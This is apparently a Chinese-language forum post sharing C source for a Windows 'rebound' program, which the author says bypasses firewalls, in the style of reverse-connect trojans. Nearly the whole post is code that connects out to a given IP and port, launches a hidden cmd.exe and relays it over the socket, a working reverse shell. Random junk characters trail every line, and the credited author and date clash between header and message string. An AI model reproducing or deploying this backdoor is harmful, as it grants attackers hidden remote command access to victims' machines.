这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 Lm4`O%
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/* ============================== H4y9\
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Rebound port in Windows NT ^N/d`IAjv
By wind,2006/7 (fF8)4l
===============================*/ wo0j/4o
#include O^MI073Q>t
#include 6MVu"0#
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#pragma comment(lib,"wsock32.lib") Ah2 {kK
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void OutputShell(); i{6&/TBnr
SOCKET sClient; "UTW(~D'
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Xq;|l?,O
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void main(int argc,char **argv) yu'-'{%
{ 4Im>2)
WSADATA stWsaData; R&Lqaek&W
int nRet;
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SOCKADDR_IN stSaiClient,stSaiServer; E]mm^i`|
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if(argc != 3) %aNm j)L
{ <Z%=lwtX
printf("Useage:\n\rRebound DestIP DestPort\n"); ,\6Vb*G|E>
return; 2f[;U"
} (mIjG)4t
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WSAStartup(MAKEWORD(2,2),&stWsaData); {mJ'
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 2=_$&oT**
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stSaiClient.sin_family = AF_INET; ~X3g_<b_8
stSaiClient.sin_port = htons(0); F}}!e.>c
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); #yH+ENp0
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ]6e(-v!U
{ Jc#D4e1#
printf("Bind Socket Failed!\n"); 76tn`4NIP
return; eUy*0
} &[[r|
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stSaiServer.sin_family = AF_INET; e`n ZiM>
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); "Pwa}{
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); WML--<dU
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) K83'`W^
{ D6L+mTN
printf("Connect Error!"); aZb\uMePK
return; >:-e
} HEVjK$
OutputShell(); ;U=b6xE
} G[>NP#P
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void OutputShell() 1d< b\P0
{ ?y?9;;
char szBuff[1024]; I!L J&>
SECURITY_ATTRIBUTES stSecurityAttributes; ["D!IqI:
OSVERSIONINFO stOsversionInfo; /9pxEidVAS
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; v.|#^A?Qx
STARTUPINFO stStartupInfo; 8%K{l g"
char *szShell; n[Q(q[ULV
PROCESS_INFORMATION stProcessInformation; r-y;"h'
unsigned long lBytesRead; /wLBmh1"
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); rQ.zqr
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ;z4J)qw
stSecurityAttributes.lpSecurityDescriptor = 0; 8'*x88+
stSecurityAttributes.bInheritHandle = TRUE; MDF_Xr-hZ
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 86{>X5 +
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); j,i9,oF6]
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); _RaE:)
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ?b+Y])SJK
stStartupInfo.wShowWindow = SW_HIDE; ~P'.R.e
stStartupInfo.hStdInput = hReadPipe; y^C5_w(^jZ
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; h^ Cm\V
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GetVersionEx(&stOsversionInfo); $eFMn$o
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switch(stOsversionInfo.dwPlatformId) c]uieig0~
{ vW &G\L
case 1: 9E ^!i
szShell = "command.com"; g[(@@TiG
break; .aT@'a{F
default: 7su2A>Ix
szShell = "cmd.exe"; qTJ0}F
break; M#gxiN
} "%Ok3Rvv
." xP{
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); m8L *LB
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send(sClient,szMsg,77,0); ,1{qZ(l1
while(1) a]r+np]vTy
{ (}39f
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 4J5 zSTw
if(lBytesRead) o4" [{LyT
{ 1L!;lP2
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); !MKecRG_
send(sClient,szBuff,lBytesRead,0); )J[m>tyY5
} Z9DfwWI2nu
else N)"8CvQL
{ [_JdV(]$
lBytesRead=recv(sClient,szBuff,1024,0); vi}16V84l
if(lBytesRead<=0) break; *<sc[..)
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ~pZ0B#K
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} Yk|6?e{+)
} sbmtx/%U
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return; %4Lo Em=U
}